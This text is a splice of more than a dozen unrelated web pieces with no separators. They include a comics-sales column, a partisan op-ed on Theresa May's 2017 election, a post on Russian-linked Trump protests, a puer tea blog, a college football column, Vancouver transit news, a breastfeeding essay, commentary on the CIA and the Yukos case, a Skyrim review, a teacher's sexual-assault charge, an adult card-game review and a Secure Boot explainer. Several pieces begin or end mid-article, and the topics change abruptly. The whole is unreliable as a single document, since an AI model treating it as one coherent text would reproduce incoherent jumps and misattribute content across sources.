Now, one can look at September being an exceptional month for DC. But remember, it didn’t include those 200,000 first day sales of Justice League #1, and did include Marvel’s Ultimate relaunch including the news grabbing Ultimate Spider-Man #1. October’s sales will include Justice League #2 and the second print sales from the first month, which may help to keep the numbers up.
DC’s decision to charge $2.99 for the majority of its comics will be hampering it’s ability to hold onto that dollar marketshare spot, and it’s quite possible they may concede that to Marvel again in October. Unless of course retailers do up their orders for issue 2 as some are suggesting.
But whatever way you look at it, this is mission accomplished for DC’s first month. Now, to find out what happens next.
Mickey and Donald comics can’t come soon enough…
About Rich Johnston Chief writer and founder of Bleeding Cool. Father of two. Comic book clairvoyant. Political cartoonist.
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"It was an amazing own goal. We didn't shoot ourselves in the foot, we shot ourselves in the head." That's how one long-established backbench Conservative MP summed up the unnecessary snap election called by Theresa May which has left the UK almost ungovernable at a key moment in its history.
The Conservatives already had a 17-seat majority in the House of Commons. They were riding high in the opinion polls but May wanted more in order to strengthen her hand in the Brexit negotiations. She needed 326 seats for a majority. Thanks to her cack-handed campaign and a surprise surge in support for her main opponent Jeremy Corbyn she won only 318.
The British people had given Parliament a mandate to leave the EU and May should have got on with it. Instead she embarked on a distracting vanity mission to needlessly boost her personal authority. At the same time she unleashed the silliest manifesto imaginable, picking a fight with sections of the electorate she could ill afford to alienate. It included a triple assault on the retired and the elderly, a group that religiously turns out to vote. Her half-witted document may well turn out to be her suicide note.
Many of her own MPs are complaining that no-one outside May's inner circle was allowed to see the manifesto before it was launched. Now she has been handed an ultimatum to sack her two closest advisers, who are seen as having far too much influence and, according to a former aide, creating a "dysfunctional and toxic" atmosphere in Number 10. Otherwise she'll face a leadership challenge. Latest news is that the problem pair have gone. But what does it say about May's leadership style and, indeed, the calibre of her cabinet colleagues for putting up with it?
Her judgement has seldom been good. As Home Secretary she presided over swingeing police cuts although the terror threat hadn't receded. The counter-terrorism budget rose but police and politicians warned that other cuts undermined security. And she came nowhere near to achieving immigration targets and let net migration soar out of control.
Before the EU referendum she was a firm 'remainer'. Immediately afterwards she changed her spots to become Brexiteer-in-chief, accepting the Conservative Party leadership and making herself comfortable in Number 10. But she never explained where exactly she was taking the country.
Her very personal, presidential-style general election campaign showed her to be absorbed with boosting her own authority and careless of the interests of her party, her colleagues and even her country. Could she have caught something nasty holding hands with Trump? Her plan backfired spectacularly as Jeremy Corbyn, whose style and message resonate far more strongly with voters young and old, came within touching distance of power. Now, in the cold light of dawn, commentators are saying she is friendless and staring into the abyss.
Desperate to stay in post with a minority government, May has turned to the DUP (Democratic Unionist Party in Northern Ireland), an unsavoury group of Protestant fundamentalist hardliners, to provide a prop. Few would touch them with a bargepole and they will no doubt exact a high price for co-operation. Furthermore, many Conservatives fear that such a coalition could undermine the Good Friday agreement and undo years of hard work bringing peace to Ireland.
Over half a million people have signed an online petition condemning Theresa May’s plan to govern in coalition with the DUP and calling it "a disgusting, desperate attempt to stay in power".
Ironically, May had warned a Labour win would mean a "weak and failing Jeremy Corbyn propped up by a coalition of chaos".
The only place the Conservatives succeeded was in Scotland, where the party is under separate control and led by Ruth Davidson. Here the Scottish Nationalist Party (SNP) were holding 56 of Scotland's 59 Westminster seats, the Conservatives only 1. Now the SNP are reduced to 35, the Conservatives taking 13.
Nicola Sturgeon's tedious obsession with a second independence referendum, coupled with incompetent management of Scotland's domestic affairs, has cost the SNP over one-third of its seats including those of its biggest gun, Alex Salmond, and the party's leader at Westminster, Angus Robertson. It may also be that Scots are waking up to the fact that when Sturgeon talks about independence she actually means selling Scotland back into the EU. She too may have to consider her position.
In the meantime Theresa May might do better asking the Liberal Democrats for support. They are inexplicably pro-EU but now have 12 seats. Their clownish leader Tim Farron has ruled out another coalition, but wiser heads in the LibDems should prevail in the public interest and be ready to step in.
Protesters demonstrating against the election of Donald Trump made their voices heard again Saturday - taking to the streets of New York for the fourth straight day. A crowd of over 5,000 people gathered in Union Square around noon, their ranks rapidly growing and spilling out of the park. Hand-drawn signs floated above the crowd, carrying messages like “Love Trumps Hate,” “Unacceptable,” and “Dump Trump.” Chants of “black lives matter,” “popular vote,” and “America was never great” rang from the sea of dissenters.
So which 'leftist', anti-Trump group organized these 1000s of people to protest against their democratically-elected President?
Simple.
As The Hill reports, sixteen thousand Facebook users said that they planned to attend a Trump protest on Nov. 12, 2016 organized by the Facebook page for BlackMattersUS .
The event was shared with 61,000 users.
“Join us in the streets! Stop Trump and his bigoted agenda!” reads the Facebook event page for the rally. “Divided is the reason we just fell. We must unite despite our differences to stop HATE from ruling the land.”
There's just one thing... BlackMattersUS is a Russian-linked group.
How do we know the organizers are "Russians"?
Simple, "The Russians" said so...
The BlackMatters organizing group was connected to the Internet Research Agency (IRA), a Russian “troll farm” with ties to the Kremlin, according to a recent investigation by the Russian Magazine RBC. Facebook has identified the IRA as the group responsible for purchasing 3,000 political ads on Facebook’s platform and operating 470 accounts that appear to have attempted to influence the perspectives of Americans during the 2016 elections.
So to clarify...
Yunnan attracts a lot of strong personalities in the Spring. Self proclaimed tea masters and tea experts. Rich bosses seeking to purchase the best tea, or at least something to pass off as the best in hopes of gaining face amongst their rich pals. Old school puer drinkers and adventurer types who are quick to decry anything as inauthentic or not up to their impossibly high standards. In the last month and a half I have witnessed three intense verbals altercations around the tea tray, one of which was teetering on the cliff of fisticuffs. Take two big fish and put them in the same small pond and there will be a ruckus. Or in this case two grown men boasting in a way that would make Muhammad Ali blush.
“When I came to Yunnan in XXXX year, nobody had ever heard of XXXX mountain. I paved the road to that village with my own two hands.”
“I used to be the police commissioner of XXXX and all the people in XXXX village give me the best tea. They all call me Old Uncle XXXX.”
“My warehouse has XXXX tons of [insert famous region]’s puer tea. I had to sell all of my none old arbor tea because I didn’t have room for anymore old arbor puer.”
Of the above three quotes, two are real and one is fake. It doesn’t matter which is which. The quotes simply illustrate the mindsets of some of the people who descend on Yunnan each year when the new growth arrives. Which archetype am i? After listening to the unabashed bragging of these ass-hats, I probably fit into the annoyed foreigner archetype.
Numbers Don’t Add Up
The events that inspired this post were all happenstance. I kept running into one loud mouth tea god after another, until something very funny happened. The claims of 3 separate people that I encountered exceeded the yearly production of a mountain. “Aha!”, I thought to myself. “One of these braggarts is not telling the truth!” Not that I ever had a bet placed on the truthiness of their bragging, but now I had proof at least one of their mouths had written a check that the puer gods wouldn’t cash.
Naka mountain has a very limited amount of gushu [old arbor] trees. I do not have an exact number, but the average of several people I consulted was about 2 tons of Spring gushu puer tea. (Some guessed as little a few hundred kilograms)
Amongst the three boasting tea bosses, their total purchase amount of Naka Spring old arbor tea? Five tons. The stories were as follows:
“I know some of the Lahu people there and they set me up with two tons of gushu.”
“I have been purchasing from Naka since 2004 and they sell to me every year. I get the best two tons they have.”
“I buy [insert ridiculously unbelievable purchase figures from several other mountains here] and also one ton of Naka gushu.”
No worries guys, only two and a half times what the trees can bear!
The saddest part of this tale is not that these fellows are filthy liars. Nor is it that one, two, or all three of them are coming here and purchasing fake or mixed tea by the ton. The saddest part of this story is that these are only three random people who i encountered. There are surely another 100 tea bosses out there buying up fake Naka, both wittingly and unwittingly. The fact that I happened to bump into three such personalities, all laying claim to the same territory, is a window into the greater problem of the current puer market. But, that is a topic for another day.
Morals of the Tea Story
As far as I can see, there are two big takeaways from the above anecdote.
1) For every “famous” tea mountain, there is a very large demand for the old arbor tea and a very limited supply. This results in a lot of fake tea. If a village becomes popular there is an influx of low quality tea, both fresh leaves and processed, which is then sold as the genuine article. Consumers are the loser in this battle. If a boss coming to the village in Spring and leaves with fake tea, what chance does the average tea drinker have to get anything real?
2) The 3 huge egos in my story each have their own wholesale stores and tea houses. They will be disseminating their false information and false teas to hundreds of people in China. Their customers will assume that Master so and so is telling the truth, and the vicious cycle of misinformation will continue.
Which leads to the moral of the story; Don’t believe everything you hear at the tea table, or on tea blogs, or any outside information on tea. Be a tea Buddhist. Question everything you hear and discover the truth on your own. Discard labels. Ignore origins. Close your ears and eyes to the marketing and the noise. Listen to your mouth. Listen to your body. Listen to your own gut. Research and be open.
The game itself was similar to the classic box office hit, Rocky IV. With a roster that was already depleted due to injuries to key players, things went from bad to worse for the Volunteers. Four more starters were lost throughout the course of the game with Cortez McDowell, Dylan Wiesman, Jashon Robertson and Danny O'Brien. Malek Foreman and Evan Berry missed key parts of the game.
The injuries were a punch to the gut and it appeared the Vols were on the verge of being knocked out in front of the highly partisan crowd, falling behind 28-7 in the second half. The Volunteers, like Balboa, kept fighting and something special started to the happen. Perhaps it was that second half improbable comeback that led to the admiration shown for the Vols by the home crowd afterward, but it was a scene not often witnessed after a SEC game.
http://www.scout.com/college/football/story/1683865-the-ultimate-app-for-volunteer-fans
As Tennessee players walked off of Kyle Field I saw the Tennessee fanbase cheer with pride and also saw thousands of A&M fans cheer their foe in admiration.
It was not until after the game that I began to hear the same narrative over and over again from Tennessee fans about the experience of College Station. They spoke highly of the sportsmanship both before and after the game. Social media and message boards were full of high praise for the Aggie fans.
Here are a few posts from Volchat:
"I think at least 50 people walked up and introduced themselves to us. Asked questions about UT and Knoxville, asked personal questions, and a few thanked us for inviting them into SEC. 10 seconds after the int they were thinking us for coming to the game and wishing us safe travels. It was refreshingly strange."
"Fantastic trip. Their fans are every bit as great as Oregon and Notre Dame fans, who are the ones that I have set up at the top for years. All three groups have never said a bad word and they are most welcoming to come to their places and enjoy yourself. Share food and drink like none other. A&M fans easily the class of the SEC and I have been to them all. Stadium was fantastic. Really enjoyed this entire trip."
"Best road experience I have had. Fantastic fans. If you paused for too long outside a tailgate, they just invited you in to enjoy some food and drink. As we were walking back to our car, we got several hand shakes and well wishes for the rest of the season, especially next week."
These comments are a far contrast from many of the stories from other SEC games. Just last week I saw a middle-aged Georgia fan tell a Tennessee fan he was going to "Kill you if you don't stop cheering" after the Hail Mary. I have seen parking cost double for any Tennessee fan in Gainesville and I have heard Tennessee fans tell Alabama fans to "hit I-75 south and get the #%*@ out of our city."
Needless to say the hospitality shown in College Station is the exception, not the rule. Far too many times these passionate sporting events are becoming a nightmare for parents to bring their young children. This Tennessee-Texas A&M game proved an atmosphere and game can have it all, including sportsmanship from players and fans alike. Even the Aggie players noticed with Christian Kirk saying, "All the respect out to Tennessee. How they came out and battled, they had all those injuries but they fought until the end." It doesn't have to have nastiness between fans or players in order for games to be full of passion.
In Rocky IV, after Balboa knocked out the Russian in from of the crowd in Moscow, he issued a moving message that the entire SEC could learn from. The Aggies have shown the rest of the SEC it can be done.
The Compass card system was supposed to save millions by installing fare gates and stopping fare evaders, but Burnaby Mayor Derek Corrigan claims it may instead be costing millions.
Corrigan says Compass card cost overruns may have prompted TransLink to go to the Metro Vancouver mayors asking for $5.5 million more in public money from the federal gas tax.
The Compass card system is a year behind schedule with no firm start date in sight. (CBC)
In its annual report, Cubic Transportation admits the 2013 fiscal year was "challenging" and "very poor." In part because of problems installing the Vancouver system, the report states, "operating margins declined due to an increase in estimated costs."
In Chicago, Cubic's Ventra card system has also had serious problems and is the subject of several class action lawsuits.
Meanwhile, the Compass card system in Vancouver is a year behind schedule with no firm start date in sight.
Corrigan says it's a concern.
"Are there cost overruns? Are there other monies going in from Translink? We don't see what parts of their budget may be used to assist in this area."
TransLink not worried
Mike Madill, TransLink's vice president in charge of Compass, says he's not sure what Corrigan is talking about.
Mike Madill, Translink's vice president in charge of Compass, says it's unfair to compare Cubic Transportation's U.S. operation with the Compass card system. He says they're two different systems and Translink is deliberately phasing in Compass slowly to give riders a chance to adjust to the new system. (CBC)
"I don't want to speculate on what that [financial] request was, but I don't think it had anything to do with the Compass card project's cost changing."
Critics say TransLink has spent too much money to abandon Compass now, but serious questions are being raised.
"Cubic appears to be in financial trouble, says Corrigan, "and we're likely to be left holding the bag."
Madiill says that's speculation.
Like Square Cash, Snapcash requires that users store their bank account information with Square, which handles the back-end money exchange. Once set up, users can send money via the Snapcash feature by simply entering a dollar amount into a chat, and sending it to a friend, as the bizarre promotional video above demonstrates.
The move highlights the ongoing trend of messaging services merging with the e-commerce space. Mark Zuckerberg recently poached former PayPal CEO David Marcus to oversee its messaging platform, a hire that many interpreted as a sign Facebook would eventually enter the payments space. Popular messaging products like Line have become hotbeds for e-commerce. And even Venmo, the Square Cash competitor, has grown in popularity in part due to its unique social features.
Don’t get me wrong. I’m a huge fan of breastfeeding and I’m very thankful my mother did that with each of us. I’m a nutritionist and I know all about the health benefits of nursing. But whereas my mother stopped nursing my brother and sister around 15 and 18 months — still a pretty long time and a really long time back in the 1980s when she was doing this — she kept nursing me until the age of three. Three years and three and a half months, as she confirmed for me last night.
I remember nursing and I remember the taste and everything. And it kind of weirds me out. I love my mother but I feel kind of sketched out about her breasts. Not in the logical sense. I appreciate that she nursed us and I know that there’s nothing too damaging about nursing children that long. But I just seem to feel more confusion about breasts, and my mother’s breasts in particular, than my siblings do. In fact, they seem to have literally no confusion about breasts. They do agree that it’s weird that mom nursed me so long. And I know that they wouldn’t do that with their children.
We’ve talked about it and even my mother concedes that she was nursing me that long mostly because she was sad about not being able to have more children. I was her third C-section so my dad got fixed after I was born. My mother is a great mother and she had always wanted more children. So she kind of clung on to me and babied me. I guess all parents do that with their youngest children to some extent. But they seem to get by without nursing three feet tall pre-schoolers, you know?
Nursing for that length of time helped my mother cope with the end of her childbearing years. But it didn’t help me have proper respect for my mother’s body. And I think it may have confused me about my own breasts. Now that I’m married — and hoping for children — I think I’m doing better. But when I started developing as a teenager, I couldn’t conceive (no pun intended) of breasts apart from their service to children’s health. And so whenever people wanted to talk about developing breasts or whenever boys noticed mine, I felt like I was being pressured into having children.
Again, I don’t want to make this out to be a bigger deal than it was. Obviously we all survived. But when I see covers like that Time magazine cover asking if you’re “mom enough” to nurse a 50-pound boy, I think sometimes the opposite might be more true. It might take more courage and strength as a mother to wean a child than it does to cling to nursing beyond a reasonable point.
Ray McGovern, who gained attention in recent years after founding the activist group Veteran Intelligence Professionals for Sanity, wrote in an article published Wednesday that the two primary functions the CIA carries out — gathering intelligence and executing covert operations abroad — are at odds with each other, and keeping the two functions together harms the US’s foreign policy interests.
In an article published at ConsortiumNews, McGovern argued that the CIA’s dual missions conflict with one another, as the CIA has to objectively assess the effect of its own missions on foreign policy goals.
Think about it for a minute. You are ordered and given funding to conduct Predator attacks on “suspected al-Qaeda bases” in Pakistan. (U.S. armed forces cannot do it since the Pentagon is not supposed to be striking countries with whom we are not at war.) You salute, find some contractors to help, and conduct those attacks. The President then asks his CIA morning briefer about the effectiveness of the drone attacks, including the longer-term political as well as military effects. When the briefer checks with the substantive analysts watching Pakistan, he learns that the attacks are very effective — indeed, the very best recruitment tool Osama bin Laden and the Taliban could imagine. Jihadists are flocking to Pakistan and Afghanistan like moths to a light blub. … Do you think mealy-mouthed CIA Director Leon Panetta will have the courage to whisper that unwelcome finding to the President?
In his piece, McGovern points out that there was a lot of discussion and concern about the CIA’s role during the agency’s early years, after it was created by the National Security Act in the late 1940s.
He cites an editorial by former President Harry Truman, published in the Washington Post one month after the JFK assassination, that raised serious concerns about the nature of the CIA, an agency created by a bill signed by Truman in 1948.
“For some time I have been disturbed by the way CIA has been diverted from its original assignment,” Truman wrote. “It has become an operational and at times a policy-making arm of the Government. This has led to trouble and may have compounded our difficulties in several explosive areas.”
Truman concluded that “there is something about the way the CIA has been functioning that is casting a shadow over our historic position and I feel that we need to correct it.”
McGovern noted that other government officials expressed similar alarm about the agency in its nascent years.
[Truman era] Defense Secretary James Forrestal didn’t want the Pentagon to be responsible for covert action in peacetime.
And, to their credit, neither did senior leaders of the fledgling CIA. They were no neophytes, and could see that covert operations might easily end up tainting the intelligence product if one Director were responsible for the two incompatible activities. The experience of the past 62 years has showed, time and time again, that their concern was well founded as the covert action side has not only polluted CIA analyses but also expanded into high-tech warfare.
In the early 2000s, McGovern became a harsh critic of the Bush administration’s use of intelligence in building the case for an invasion of Iraq. In 2006, he gained media attention when he confronted then-Defense Secretary Donald Rumsfeld during a 2006 speech in Atlanta, asking Rumsfeld, “Why did you lie to get us into a war that was not necessary and that has caused these kinds of casualties?”
McGovern started out with the CIA as an analyst on the Soviet Union and Vietnam. By the 1980s, he was preparing intelligence briefings for President Reagan, a duty he continued for President George H. W. Bush.
I will leave it to others to examine the political and human rights implications of the Khodorkovsky case. The purpose of this column is to look at its implications for Russian investment and business. This is not an unimportant side effect. Russia is utterly dependent on its natural resource businesses, especially oil and gas. Its budget deficits have grown so large that the price of oil would have to reach $120 a barrel to generate enough tax revenue to achieve a balanced budget. The country desperately needs foreign capital; indeed, it recently retained nearly two dozen investment banks to embark on a program of selling off minority stakes in dozens of state-run companies to help cover the ballooning deficit.
Given all that, one could hardly conjure up a more bone-headed move than turning the country’s best-known and most respected businessman into a martyr. But with its continued persecution of Mr. Khodorkovsky, that is precisely what the Kremlin has done. On Tuesday, even as Judge Danilkin was reading his verdict, Russia’s president, Dmitri A. Medvedev, acknowledged publicly that the Russian investment climate was “bad.” Is the problem that Kremlin officials can’t see the connection between its investment climate and their sordid prosecution of Mr. Khodorkovsky? Or is it that they don’t care?
“Yukos is a special case,” Mr. Putin said at a news conference a few months ago. That is what he and his Kremlin cronies would like the world to believe. The implication is that even if Mr. Khodorkovsky is being railroaded — something that Mr. Putin consistently denies, of course — it’s a one-off. Mr. Khodorkovsky’s mistake, it is said, was in getting involved in opposition politics, thus making an enemy of Mr. Putin, Russia’s most powerful man; businessmen who don’t make that mistake don’t have problems with the government.
But Mr. Putin’s line is just that — a line. In addition to tossing Mr. Khodorkovsky in jail on trumped-up charges, the Russian authorities also brought bogus tax claims against Yukos itself, shoving it into bankruptcy. Then the government created a dummy corporation to take over its assets, which it sold off, for far less than they were worth, to state-run oil and gas companies, primarily Rosneft, a poorly run company that is now the biggest oil producer in Russia.
“I have never witnessed a state steal such a large amount from investors,” said James A. Harmon, who, as president of the Export-Import Bank of the United States in the late 1990s, spent much of his time dealing with Russia. Said Edward Donahue, a Massachusetts accountant who had invested in Yukos: “They stole my investment,” Mr. Donahue was among a group of investors who tried to sue Russia to get their money back. (The case was thrown out of court.)
Even since the Yukos affair, corrupt Russian politicians and businessmen have routinely used arbitrary laws and regulations to grab assets that didn’t belong to them. Royal Dutch Shell was the majority partner in a group that included the state-owned monopoly Gazprom to develop a giant oil and natural gas field. Suddenly, in 2006, it ran into severe environmental and regulatory problems — problems that disappeared as soon as Shell ceded majority ownership to Gazprom.
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A few years ago, BP was the controlling partner in a huge joint venture, amounting to 25 percent of its reserves, with a Russian company called TNK. TNK wanted to control the venture — so, naturally, BP suddenly had visa and other problems. Its business began to be disrupted. Robert Dudley, an American who was running the venture — and is now the chief executive of BP — had to flee the country and go into hiding for a time. Needless to say, the joint venture arrangements were rewritten.
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Oil and gas companies aren’t the only ones running into government interference. A businessman who got the rights to redevelop the famous Hotel Moskva got into a commercial dispute with two of Mr. Putin’s allies. According to The Daily Telegraph in London, “he is now believed to be in hiding in California.”
One result of such tales, which are legion, is that many foreign companies that could help improve the Russian economy are leery of doing business there. In 2009, for instance, Ikea pulled the plug on a 1.4-million-square-foot mall it had developed — because it was tired of bumping into problems and delays that were caused by government officials looking for payoffs. This kind of petty corruption is a large part of the reason that Russia ranks 154th (out of 178 countries) on the global corruption perception index, compiled by Transparency International, an anticorruption organization in Germany.
Another consequence is that shares in Russian companies tend to trade at a severe discount compared with their peers in other countries. The Russian stock market, for instance, trades around 40 percent lower than other emerging markets. A few weeks ago, Russia’s deputy prime minister, Igor I. Sechin, complained that Rosneft was undervalued. “Compare the structure of Rosneft’s reserves and those of Petrobas” of Brazil, he said. “Rosneft is undervalued by around three times.” Well, yes, but whose fault is that?
All of which brings me back to where it all began — the original government theft of those Yukos assets. Although the litigation brought by American investors went nowhere — because there is no investment treaty between the United States and Russia — other investors are having better luck in forcing the Russian government to account for its misdeeds.
Using existing treaties, three separate investor groups have brought cases to arbitration in The Hague and Stockholm. In one of the cases, a three-member tribunal recently ruled unanimously that the Russian government had indeed stolen Yukos’s assets, using phony tax claims and other methods that were so out of line they could only be viewed as “part of a cumulative effort to prevent Yukos’s ongoing existence.”
The most important of the three cases — brought on behalf of investors who hold the stakes once owned by Mr. Khodorkovsky and other Yukos executives — has made a claim for around $100 billion. Although the case has been proceeding slowly, the investors seem to be winning. If that tribunal ultimately rules in their favor, which seems likely, what will Russia do? Refuse to pay, thus showing the world just how contemptuous it is of the rule of law — and decimating its already damaged investment climate? Or pay a gigantic sum of money, thus adding to its already debilitating budget deficits? This is where Russia has put itself.
What is particularly tragic is that Mr. Khodorkovsky was the businessman and Yukos the company that were poised to lead Russia out of the business wilderness. Like all the Russian oligarchs, Mr. Khodorkovsky had acquired the assets that formed Yukos by taking full and sometimes unseemly advantage of the “wild, wild East” atmosphere that reigned in Russia in the early 1990s.
There are those, in Russia and the West, who can never forgive him for that. But Augustine was a sinner before he was a saint, and everyone I’ve interviewed in recent weeks who knew Mr. Khodorkovsky or worked for him insisted that he had genuinely changed. He had become a true believer in the kind of forthright company building that is routine in the West, understanding that good corporate governance, real accounting, adherence to shareholders’ rights — and abiding by contracts and the rule of law — helped the company and its share price. Had Yukos been allowed to continue — and had Mr. Khodorkovsky been allowed to continue running it — it is quite possible that the Russian investment climate would be far different than it is today.
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Instead, Russia is reduced to selling off minority interests in its state-run companies, stakes that will reap far less than they would almost anywhere else. One of those stakes will be in Rosneft, the company that now controls most of Yukos’s best assets, including Yuganskneftegaz (a k a YNG), a major oil and gas producer that was widely considered Yukos’s crown jewel. In that recent ruling in the investor arbitration, the tribunal concluded that “the auction of YNG was rigged.”
To put it more bluntly, assets that were stolen from Yukos investors like Mr. Donahue six years ago are now being recycled to a new group of investors via Rosneft. Plainly, this doesn’t bother the Russian government, and it probably won’t bother whichever investment bank handles the Rosneft deal. But it should bother the rest of us — a lot. After all, if you can steal the assets once, what’s to prevent you from stealing them again?
I play as a fierce, proud Stormcloak rebel (I couldn't possibly fight against lovely Ralof, the hot rebel and first character you see in the game, eh! But you can play as an aka-ancient-Roman "Imperial" invader, if you prefer), NPCs recognise my character as one of them when we meet (they even comment on my Stormcloak uniform...amazing!) and yes, through my Avatar I have another life there.
After so many hours, the game is still exciting with its riddles and stories, and I still get scared when I enter into a dungeon and a draugr attacks me. The 3 DLCs are amazing, a must-have and are included in the Legendary edition, so go for it. With the PC edition you can install tons of mods and make the game even more enjoyable, although, I warn you here, you need a super super computer, like ROG last generation to run them smoothly.
A high school science teacher was accused of having a sexual relationship with a male student.
Nikki Varney, 44, from Hollidaysburg, Pennsylvania, was charged by state police on Friday with institutional sexual assault, statutory sexual assault, corruption of minors and unlawful contact with minors.
Varney is a science teacher at Williamsburg High School.
Police said school officials reported the allegations that Varney was in a sexual relationship with a male student, WJAC TV reported.
Investigators then reportedly discovered that a sexual encounter between the two happened in July.
Williamsburg Community School District Superintendent Lisa Murgas told the outlet that Varney has been placed on administrative leave.
According to the school's website, Varney has been a science teacher since 1997.
The site says she teaches chemistry, physics and two other science courses.
She is also the school district's sponsor for Pennsylvania Junior Academy of Science, a state-wide organization for middle and high school students.
Varney is currently being arraigned in Blair County.
Varney (pictured) has been a science teacher at Williamsburg High School for the past seven years. According to the school's website, she teaches chemistry, physics and two other science courses
Williamsburg Community School District Superintendent Lisa Murgas said that Varney was placed on administrative leave after she was charged
According to local newspaper, the Altoona Mirror, Varney ran for a seat on the Hollidaysburg school board in April.
The announcement said she has been teaching at Williamsburg High School for the last seven years.
In her candidate announcement, she wrote: 'Being a parent, teacher, and taxpayer gives me a unique perspective into all three stakeholders school directors affect.
'I have children in the school system so I understand the importance that children receive the educational foundation they need to flourish and to become contributing members of society.
'I am a teacher with over two decades of experience so I know the support students and teachers need to be successful. Being a teacher has also given me experience in budgeting a school district’s money.
'I have to budget for my classes, making tough decisions about what to purchase and what to cut to give the students the best learning experiences. I tend to be frugal, treating the district’s money as I would my own when budgeting.'
The dirtiest thing I've ever done on a table happened last Friday. I played a game about helping a human and tentacled alien get each other off. P
Tentacle porn. It's quite possibly the perviest, most indefensible phenomena in all of geek culture. It's also the inspiration for a great new card game that debuted in New York City's Lower East Side this weekend, as part of New York University's annual No Quarter exhibition. P
In game designer Consentacle —which features art from (Warning: Some of the images and content in this story might be considered NSFW.) P In game designer Naomi Clark 's—which features art from James Harvey —two people play the roles of a human spaceperson named Kit and Dup, an extraterrestrial with stretched-out appendages just aching to go around and into places. To be clear, everything happening in Consentacle occurs because the characters want it to. But, depending on the players taking on their roles, either the alien or human can get much more satisfaction out of their coupling.
P
The game starts with each player drawing five cards that have specific actions on them, along with five interlocking red or blue plastic pieces called Trust Tokens. The cards' instructions can make players draw more Trust Tokens, put them into the Intimacy Pool and/or combine then to create Satisfaction Tokens. You need specific cards to take satisfaction tokens out of the intimacy pool and the goal of the game is get as much satisfaction as possible. P
When I played Consentacle with Clark, we talked about our hands and what the actions would let us do to each other. The current form of the game consists of two decks that are pretty much complementary and Clark wants an eventual retail version to have more cards that would encourage competitive play and deck-building. Certain cards will pair up into combos with more powerful results, too, like the ones pictured below. P
The game Clark and I played was a friendly one, where we tried to relieve each other of cards, keep things moving and let the satisfaction go to whomever had the luck of the draw. But, Consentacle can be played in a more selfish way, too. It's possible to "withdraw consent", too. This doesn't turn the game into a forced-sex encounter, though. It cancels a turn and lets the withdrawing player pull back a card at the cost of a trust token. Players can also go through their rounds silently, offering up looks, actions and gestures that suggest the cards they're holding and the things they'd like to happen. This could mean doing a saucy wink, sliding a tongue out for a lick or miming penetration. P
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"People were much less weirded out by the sexual content and the hentai reference than I thought they would be!" Clark told me today in an e-mail. "From what I saw, this had a bit to do with the lively social atmosphere and a bit with the fact that players could negotiate how they were going to play; some people who said they were a little uncomfortable playing this kind of game with friends told me that they played with talking, which made it a little more lighthearted. Another player wrote that she ended up playing a silent game with a guy she didn't know, but that they came to an unspoken agreement that they'd keep the sexual innuendo and overtly suggestive talk out of the game. It worked better than I hoped it would in terms of people finding their own way to play." P
P
There's an echo with the kinds of board games sold at sex shops, which tend to be instructional in nature. Clark says that she wants Consentacle to be more of an exploration of physical interaction, rather than an incitement to it. "I put a layer of fiction on top of the interactions so that it wouldn't be as awkward to play," she told me last week. "But it's been interesting to watch how some couples can play without talking and still create lots of satisfaction with each other." P
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"I had a bunch of people tell me (some after multiple games, some from just playing silently once) that the silent version felt more like the "real game," which has also been my instinct from designing and playtesting," Clark elaborated. P
"It's easier and safer to negotiate sexual practices (whether represented in cards or with your actual body) if you talk, obviously—but when we play games, we are often looking for more danger, surprise, and challenge. Which is great! We can explore stuff in the safety of games that I wouldn't recommend doing during actual sex, obviously! The silent games had a variety of communication styles — most people were "communicating" (so to speak) just by looking each other in the eye, but there were several games where people were touching each other, or making dirty or suggestive gestures, etc. That's all mentioned in the rules. It's pretty much up to players to negotiate how to play." P
So why use a tentacle rape motif for a game that's about consensual, mutual pleasure? Clark says that she's got a few, complicated reasons. "The first one goes back to high school, when my sister and I first discovered hentai tentacle-rape porn at the video store where she worked, much to our horror," she starts. "We were like "oh, great... I hope there aren't more movies like this"—but there were, and it quickly become a trope or even a stereotype about Japanese pop culture. We're both half-Japanese, and I lost track of the number of times people mentioned hentai to me by the late 90s and early 2000s." P
"My family's also from Seattle so I would get 'oh, do you drink lots of coffee? Do you know Kurt Cobain?' jokes when I went to college—but when talking about being Japanese, the most common thing people would joke about was tentacle hentai. Many years later, that kind of fraught, uncomfortable relationship with tentacle hentai made me want to take it back for very different purposes; I'm actually very down with the idea of unusual or alien body parts as a metaphor for queer sexuality or strange relationships that we have to our bodies, and I've found that resonates with a lot of queer & trans people I know— but the reputation attached to tentacle rape and hentai porn is extremely foul." " P
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"So there was an impetus for me to reclaim tentacles for the good, loving tentacle monsters out there. To my surprise, after I named the game and started Googling it I found that the term 'consentacles' was already being used as slang term with a similar meaning, by artists and fans that are drawn to tentacles but very much didn't like the rape connotations — there's a lot of cutesy, cartoony stuff out there involving tentacled beasties and aliens already." P
At the end of each game of Consentacle , players can refer to a chart that breaks down the mutual and individual scores according certain categories. My game with Clark ended with a combined score of 12 satisfaction. I wound up with 8 purple pleasure tokens to her four. You can see what Consentacle thinks about my session on the instruction booklet chart below. P
Manufacturers will be able enable UEFI Secure Boot without giving you a manual kill switch, as they have to do with Windows 8 systems. If that happens, you’ll only be able to boot Microsoft-approved operating systems on these locked-down PCs. Microsoft is turning the Secure Boot screws tighter, and Linux users are right to be concerned—but the issue is more complicated (and probably less disastrous) than it seems at first blush.
Secure Boot 101
First, let’s back up a little bit and look at Secure Boot and how it functioned in Windows 8.
When you boot a new Windows 8 PC, the Secure Boot feature in the UEFI firmware checks the operating system loader and its drivers to ensure they’re signed by an approved digital signature. On Windows PCs, the UEFI Secure Boot feature generally checks to see if the low level software is signed by Microsoft or the computer’s manufacturer. This prevents low-level malware like rootkits from interfering with the boot process.
But the same feature that blocks rootkits will also block other software, like Linux boot loaders. And, in fact, on Windows RT devices like the original Surface and Surface 2, Secure Boot was locked down tight to only allow Windows RT to boot.
The Linux community was understandably up in arms about this, and Microsoft tossed it a bone. As part of the certification process that allowed manufacturers to pre-install Windows and put little Windows logos on new PCs, Microsoft forced hardware makers to give users a way to disable Secure Boot and add their own signing keys on Windows 8 PCs. So you could always disable Secure Boot and still install any Linux distribution you liked. Or you could tweak Secure Boot and only allow operating systems signed with your own personal signing key to boot.
Windows 10 gives manufacturers an option
Windows 10 makes the user-configuration toggle optional. On a PC, Microsoft allows manufacturers to choose whether or not a user can disable Secure Boot. That’s the information that Ars Technica noticed in a slide presented at Microsoft’s WinHEC conference.
In other words, it’s up to every manufacturer to include the toggle or not. Theoretically, this provides some choice—you can choose to buy a computer without a toggle in the UEFI firmware, locking it to only boot Windows and other approved OSes. If someone gets their hands on your PC, they can’t boot into UEFI and disable or try to install their key. And, if you want the ability to disable Secure Boot and install whatever operating system you want, you can just buy a PC with such a toggle.
